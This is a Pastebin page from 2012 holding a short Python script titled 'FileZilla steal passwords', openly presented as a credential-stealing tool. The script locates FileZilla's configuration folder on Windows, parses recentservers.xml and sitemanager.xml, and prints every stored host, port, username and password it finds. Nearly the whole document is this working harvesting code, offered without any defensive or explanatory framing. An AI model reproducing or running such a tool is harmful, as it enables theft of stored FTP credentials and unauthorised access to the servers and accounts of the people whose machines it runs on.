Guest User

FileZilla steal passwords by El3ct71k

a guest
Nov 23rd, 2012
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.74 KB | None | 0 0
  1. import os
  2. import xml.etree.ElementTree as etree
  3. #By El3ct71k
  4. if os.path.exists('C:/Documents and Settings/Administrator/Application Data/FileZilla/')==True:
  5.     files = ["C:/Documents and Settings/Administrator/Application Data/FileZilla/recentservers.xml", "C:/Documents and Settings/Administrator/Application Data/FileZilla/sitemanager.xml"]
  6.     print "Import from FileZilla:"
  7.     for file in files:
  8.         if os.path.exists(file)==True:
  9.             myfile = open(file, 'r').read()
  10.             root = etree.XML(myfile)
  11.             root = list(root)
  12.             for details in list(root[0]):
  13.                 h4ck = list(details)
  14.                 print "host: "+h4ck[0].text+" Port: "+h4ck[1].text+" Username: "+h4ck[4].text+" Password: "+h4ck[5].text
  15.     print "END"
  16. else:
  17.     print "FileZilla FTP Software not found"
Add Comment
Please, Sign In to add comment